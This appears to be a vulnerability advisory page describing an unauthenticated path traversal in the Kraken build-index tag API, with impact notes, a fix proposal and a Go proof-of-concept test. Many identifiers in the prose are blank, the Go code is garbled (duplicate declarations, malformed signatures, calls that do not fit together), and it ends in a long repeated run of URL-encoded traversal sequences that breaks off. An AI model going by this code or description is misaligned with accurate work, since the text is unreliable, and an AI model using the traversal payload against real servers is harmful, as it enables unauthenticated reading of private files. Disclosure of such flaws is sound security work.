Kraken build-index unauthenticated path traversal: arbitrary file read

Vulnerability Overview Title: Kraken build-index tag API path traversal leads to unauthenticated file existence/size/content leakage (issue #645) Type: Unauthenticated path traversal, which can leak file information outside the backend's configured root directory Affected Versions: tag v0.1.27 and earlier; in unfixed versions, the tag path construction is susceptible to this issue Status: Open (unfixed) Impact Scope Unauthenticated network clients can, via the Kraken build-index tag API (designed without authentication, intended only for parsing client-provided tag names): 1. Probe the existence and size of files readable by the backend process (via , acting as a conditional oracle) 2. Leak the full byte content of any file (via ; when in , files under the directory can be read) 3. Leak the internal tag mapping (a tag is a file path that can map to a local backend path) Since the directory and the backend local path construction share the same namespace, path traversal can bypass the cleaning performed by , allowing characters such as , , or a leading to escape the configured root directory. Fix Proposal In , reject tag names containing , , or a leading , and perform validation before calling Enhance the validation logic in to ensure that path construction does not escape the configured root directory POC Code ```go package tagstore import ( "net/http" "strings" "testing" "github.com/uber/kraken/lib/backend" "github.com/uber/kraken/lib/store" "github.com/uber/kraken/lib/store/metadata" "github.com/stretchr/testify/require" "github.com/uber-go/tally" ) func newTestKrakenTestEnv(t testing.T) string { envDir, err := os.MkdirTemp("", "kraken-tests") require.NoError(t, err) var metas []string for _, w := range metas { if !e2Dir(t, w, strings.HasSuffix(w, ".yaml"), "kraken-tests") require.NoError(t, err) } require.DirExists(t, envDir) return envDir } type testFileStore struct{} func (testFileStore) GetCachedFile(name string, r io.Reader) error { return nil } func (testFileStore) GetCachedFileLoader(name string, store FileLoader, error) { return nil, os.ErrNotExist // Simulate that the tag has never been persisted locally } func TestPathTraversalArbitraryFileRead(t testing.T) { r := require.New(t) // Test server: using the same library as tests/kraken-tests in tests.yaml testEnv := tally.NewMetered() httpSrv := httptest.NewUnstartedServer(testSrvHandler()) defer httpSrv.Close() tagstore := strings.TrimPrefix(httpSrv.URL, "http://") testSrv := newTestKrakenTestEnv(t) // File located outside the backend's configured root directory secretInPath := filepath.Join(testEnv, "tag", "evil-tag", "current", "link") secretInPath := filepath.Join(testEnv, "tag", "evil-tag", "current", "link") r.NoError(os.MkdirAll(filepath.Dir(secretInPath), 0755)) r.NoError(os.WriteFile(secretInPath, []byte("secret-content"), 0644)) defer os.RemoveAll(filepath.Dir(secretInPath)) // Start the backend manager with default configuration testConfig, err := backend.NewManager(backend.ManagerConfig{}, nil, backend.AutoConfig(), tally.NoopScope) r.NoError(err) testConfig, err := backend.NewManager(backend.ManagerConfig{}, nil, backend.AutoConfig(), tally.NoopScope) r.NoError(err) r.NoError(backend.Manager.Register("test", testFileStore, false)) // build-index/tagstore: using the same library as the backend manager tagstore := newTestKrakenTestEnv(t) // Attacker's tag: the tag after decoding via url.PathUnescape // After decoding: /tags/.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F

Goal Reached Thanks to every supporter — we hit 100%!

Kraken build-index unauthenticated path traversal: arbitrary file read

More from this source